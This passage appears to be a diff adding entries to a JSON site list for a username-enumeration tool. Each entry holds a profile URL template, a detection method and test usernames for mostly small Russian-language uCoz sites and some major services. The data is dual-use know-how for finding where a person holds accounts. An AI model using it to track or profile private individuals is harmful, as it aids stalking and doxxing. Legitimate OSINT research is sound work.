"tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://talimger.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 239259 + }, + "fanacmilan.com": { + "engine": "uCoz", + "urlMain": "http://fanacmilan.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 5471650, + "disabled": true + }, + "allmobile.vo.uz": { + "engine": "uCoz", + "urlMain": "http://allmobile.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gorposmos.ru": { + "engine": "uCoz", + "urlMain": "http://gorposmos.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "css-play4fun.ru": { + "engine": "uCoz", + "urlMain": "http://css-play4fun.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "unreal.at.ua": { + "engine": "uCoz", + "urlMain": "http://unreal.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kaiserslautern.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://kaiserslautern.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nordar.at.ua": { + "engine": "uCoz", + "urlMain": "http://nordar.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "7x.net.ua": { + "engine": "uCoz", + "urlMain": "http://7x.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icq-telefon.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://icq-telefon.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "salutm.ru": { + "engine": "uCoz", + "urlMain": "http://salutm.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7662520 + }, + "azhack.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://azhack.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "admin-soft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://admin-soft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "grodnofish.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://grodnofish.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kinohouse.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kinohouse.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spectrum-z.ru": { + "engine": "uCoz", + "urlMain": "http://spectrum-z.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "satsoft.at.ua": { + "engine": "uCoz", + "urlMain": "http://satsoft.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "theatre.my1.ru": { + "engine": "uCoz", + "urlMain": "http://theatre.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "photoaura.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://photoaura.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "stroy-s-nami.ucoz.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://stroy-s-nami.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "ltsai.at.ua": { + "engine": "uCoz", + "urlMain": "http://ltsai.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "fst-kolos.do.am": { + "engine": "uCoz", + "urlMain": "http://fst-kolos.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mozga-net.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mozga-net.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5613210 + }, + "promalp.dp.ua": { + "engine": "uCoz", + "urlMain": "http://promalp.dp.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "css-nn-52-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://css-nn-52-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zdesvsyo.com": { + "engine": "uCoz", + "urlMain": "http://zdesvsyo.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "sebastopol.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sebastopol.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "autosila.at.ua": { + "engine": "uCoz", + "urlMain": "http://autosila.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ladpremiya.ru": { + "engine": "uCoz", + "urlMain": "http://ladpremiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kaz.ionyk.ru": { + "engine": "uCoz", + "urlMain": "http://kaz.ionyk.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "electronic-component.org": { + "engine": "uCoz", + "urlMain": "http://electronic-component.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7078895 + }, + "xn--80aepdb4ag.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--80aepdb4ag.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "remont56.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://remont56.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "personagra-ta.ru": { + "engine": "uCoz", + "urlMain": "http://personagra-ta.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "compline.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://compline.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "thelike.ru": { + "engine": "uCoz", + "urlMain": "http://thelike.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6696802 + }, + "wwork.my1.ru": { + "engine": "uCoz", + "urlMain": "http://wwork.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fs-mods-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://fs-mods-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2022177 + }, + "show.co.ua": { + "engine": "uCoz", + "urlMain": "http://show.co.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "viupetra.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://viupetra.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5005149 + }, + "irteam.ru": { + "engine": "uCoz", + "urlMain": "http://irteam.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zvukinadezdy.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zvukinadezdy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4494749 + }, + "ps-cs.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://ps-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4701999 + }, + "gta-fan-zone.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gta-fan-zone.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tovyanskaya.at.ua": { + "engine": "uCoz", + "urlMain": "http://tovyanskaya.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "scooter-helper.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://scooter-helper.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "opinion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://opinion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "staroverovka.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://staroverovka.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10724495 + }, + "hevc-club.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://hevc-club.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 907643 + }, + "fx-profit.at.ua": { + "engine": "uCoz", + "urlMain": "http://fx-profit.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spaceserials.ru": { + "engine": "uCoz", + "urlMain": "http://spaceserials.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "profsouz-au.ru": { + "engine": "uCoz", + "urlMain": "http://profsouz-au.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "avto.dzerghinsk.org": { + "disabled": true, + "tags": [ + "ua" + ], + "engine": "uCoz", + "urlMain": "http://avto.dzerghinsk.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1423460 + }, + "sufficit.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sufficit.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fly.my1.ru": { + "engine": "uCoz", + "urlMain": "http://fly.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "schoolteacher.moy.su": { + "engine": "uCoz", + "urlMain": "http://schoolteacher.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vkusnyashkino.ru": { + "engine": "uCoz", + "urlMain": "http://vkusnyashkino.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "urmai-urmaevo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://urmai-urmaevo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metrologika.ru": { + "engine": "uCoz", + "urlMain": "http://metrologika.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bookz.su": { + "engine": "uCoz", + "urlMain": "http://bookz.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pik100.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pik100.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3466485 + }, + "ahera.ru": { + "engine": "uCoz", + "urlMain": "http://ahera.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "drawings-base.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://drawings-base.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mycomputer.ks.ua": { + "engine": "uCoz", + "urlMain": "http://mycomputer.ks.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "portal-cs-1-6.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://portal-cs-1-6.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum4.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://forum4.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum" + ] + }, + "tvigra.clan.su": { + "engine": "uCoz", + "urlMain": "http://tvigra.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbcctevcqafop1aviko5l.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4364152 + }, + "lori.at.ua": { + "engine": "uCoz", + "urlMain": "http://lori.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "minnac.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://minnac.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xyuivet-mailcpy.moy.su": { + "engine": "uCoz", + "urlMain": "http://xyuivet-mailcpy.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dubrovo.moy.su": { + "engine": "uCoz", + "urlMain": "http://dubrovo.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "animelend.my1.ru": { + "engine": "uCoz", + "urlMain": "http://animelend.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-nata.my1.ru": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://art-nata.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1151909 + }, + "wmmail-wmmail.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://wmmail-wmmail.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zornet.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://zornet.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 462105 + }, + "top10allservers.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://top10allservers.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "na-sochi.ru": { + "engine": "uCoz", + "urlMain": "http://na-sochi.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "simf-mama.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://simf-mama.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kredituemall.ru": { + "engine": "uCoz", + "urlMain": "http://kredituemall.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mircasov.ru": { + "engine": "uCoz", + "urlMain": "http://mircasov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3446959 + }, + "vsemobile.my1.ru": { + "engine": "uCoz", + "urlMain": "http://vsemobile.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-color.my1.ru": { + "engine": "uCoz", + "urlMain": "http://art-color.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "tags": [ + "medicine", + "ru" + ] + }, + "usersoft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://usersoft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zapgame.ru": { + "engine": "uCoz", + "urlMain": "http://zapgame.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "yagubov.site": { + "engine": "uCoz", + "urlMain": "http://yagubov.site", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "ships.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ships.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "masseffect-universe.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://masseffect-universe.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 928328 + }, + "histroom.my1.ru": { + "engine": "uCoz", + "urlMain": "http://histroom.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "music2dj.clan.su": { + "engine": "uCoz", + "urlMain": "http://music2dj.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "osta.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://osta.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cpu.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cpu.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ufive.ru": { + "engine": "uCoz", + "urlMain": "http://ufive.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mir2007.ru": { + "engine": "uCoz", + "urlMain": "http://mir2007.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "popugi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://popugi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hokage.tv": { + "engine": "uCoz", + "urlMain": "http://hokage.tv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dzintarsmos09.ru": { + "engine": "uCoz", + "urlMain": "http://dzintarsmos09.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "wm.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wm.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "margaritas.clan.su": { + "engine": "uCoz", + "urlMain": "http://margaritas.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kotneko.at.ua": { + "engine": "uCoz", + "urlMain": "http://kotneko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aribut.ru": { + "engine": "uCoz", + "urlMain": "http://aribut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "death-legion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-legion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tom.do.am": { + "engine": "uCoz", + "urlMain": "http://tom.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "beatl.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://beatl.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "homeofsky.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://homeofsky.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tlgrm.pro": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://tlgrm.pro", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "ucozzz.ru": { + "engine": "uCoz", + "urlMain": "http://ucozzz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "appleinsider.ru": { + "tags": [ + "news", + "ru", + "tech" + ], + "engine": "engine404", + "urlMain": "https://appleinsider.ru", + "url": "https://appleinsider.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 49678 + }, + "accounts.eclipse.org": { + "tags": [ + "coding" + ], + "engine": "engine404", + "urlMain": "https://accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6446 + }, + "amp.flipboard.com": { + "tags": [ + "news" + ], + "engine": "engine404", + "urlMain": "https://amp.flipboard.com", + "url": "https://amp.flipboard.com/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2079 + }, + "banki.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://banki.ru", + "url": "https://banki.ru/blog/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3616 + }, + "colourlovers.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "http://colourlovers.com", + "url": "http://colourlovers.com/lover/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 30699 + }, + "Basecamphq": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://basecamphq.com", + "url": "https://{username}.basecamphq.com/login", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 37337 + }, + "community.getpostman.com": { + "tags": [ + "forum", + "in", + "tech" + ], + "engine": "Discourse", + "urlMain": "https://community.getpostman.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3556 + }, + "designspiration.com": { + "tags": [ + "art" + ], + "engine": "engine404", + "urlMain": "https://designspiration.com", + "url": "https://designspiration.com/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 23471 + }, + "drupal.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 - 404" + ], + "presenseStrs": [ + "<ul class=\"tabs--primary\">" + ], + "urlMain": "https://drupal.ru", + "url": "https://drupal.ru/username/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 346804 + }, + "followus.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://followus.com", + "url": "https://followus.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 107398 + }, + "discuss.codecademy.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://discuss.codecademy.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 2347 + }, + "fancy.com": { + "disabled": true, + "tags": [ + "shopping" + ], + "engine": "engine404", + "urlMain": "https://fancy.com", + "url": "https://fancy.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 55415 + }, + "fotostrana.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://fotostrana.ru", + "url": "https://fotostrana.ru/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3672 + }, + "freelancehunt.ru": { + "tags": [ + "ru", + "uz" + ], + "engine": "engine404", + "urlMain": "https://freelancehunt.ru", + "url": "https://freelancehunt.ru/freelancer/{username}.html", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1248520 + }, + "freelance.ua": { + "tags": [ + "ua" + ], + "errors": { + "https://freelance.ua/war/": "Site censorship" + }, + "engine": "engine404", + "urlMain": "https://freelance.ua", + "url": "https://freelance.ua/en/user/{username}/portfolio/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 264688 + }, + "linktr.ee": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "The page you\u2019re looking for doesn\u2019t exist.", + "Want this to be your username?" + ], + "presenseStrs": [ + "@container/profile-container" + ], + "urlMain": "https://linktr.ee", + "url": "https://linktr.ee/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "Blisscartoos", + "alexaRank": 134 + }, + "jsfiddle.net": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engine404", + "urlMain": "https://jsfiddle.net", + "url": "https://jsfiddle.net/user/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "alexaRank": 2375 + }, + "rive.app": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://rive.app", + "url": "https://rive.app/a/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 100125 + }, + "stopgame.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://stopgame.ru", + "url": "https://stopgame.ru/users/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 36379 + }, + "social.msdn.microsoft.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 19 + }, + "selly.gg": { + "engine": "engine404", + "urlMain": "https://selly.gg", + "url": "https://selly.gg/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1735049 + }, + "{username}.tilda.ws": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://tilda.ws", + "url": "https://{username}.tilda.ws", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2251 + }, + "{username}.portfoliobox.net": { + "tags": [ + "in", + "jp", + "us" + ], + "engine": "engine404", + "urlMain": "https://portfoliobox.net", + "url": "https://{username}.portfoliobox.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 56594 + }, + "teamtreehouse.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member Since" + ], + "absenceStrs": [ + "Bummer! You must be logged in to access this page." + ], + "urlMain": "https://teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god", + "alexaRank": 16193 + }, + "twentysix.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://twentysix.ru", + "url": "https://twentysix.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 935029 + }, + "xakep.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://xakep.ru", + "url": "https://xakep.ru/author/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 67953 + }, + "hi-news.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://hi-news.ru", + "url": "https://hi-news.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 51542 + }, + "russpuss.ru": { + "engine": "engine404", + "urlMain": "https://www.russpuss.ru", + "url": "https://www.russpuss.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "erotic", + "forum", + "ru" + ], + "alexaRank": 1893858 + }, + "upwork.com": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://upwork.com", + "url": "https://upwork.com/fl/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 215 + }, + "joyreactor.cc": { + "tags": [ + "art", + "nl", + "ru" + ], + "engine": "engineRedirect", + "urlMain": "http://joyreactor.cc", + "url": "http://joyreactor.cc/user/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12813 + }, + "codeforces.com": { + "tags": [ + "coding", + "in" + ], + "errors": { + "The page is temporarily blocked by administrator.": "IP ban" + }, + "checkType": "message", + "presenseStrs": [ + "Contest rating" + ], + "urlMain": "http://codeforces.com", + "url": "http://codeforces.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6824 + }, + "GitHubGist": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engineRedirect", + "urlMain": "https://gist.github.com", + "url": "https://gist.github.com/{username}", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 26 + }, + "hosting.kitchen": { + "tags": [ + "ru" + ], + "engine": "engineRedirect", + "urlMain": "https://hosting.kitchen", + "url": "https://hosting.kitchen/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1363479 + }, + "tripit.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engineRedirect", + "urlMain": "https://tripit.com", + "url": "https://tripit.com/people/{username}#/profile/basic-info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 29179 + }, + "freelance.ru": { + "tags": [ + "ru" + ], + "engine": "engine404get", + "urlMain": "https://freelance.ru", + "url": "https://freelance.ru/{username}/", + 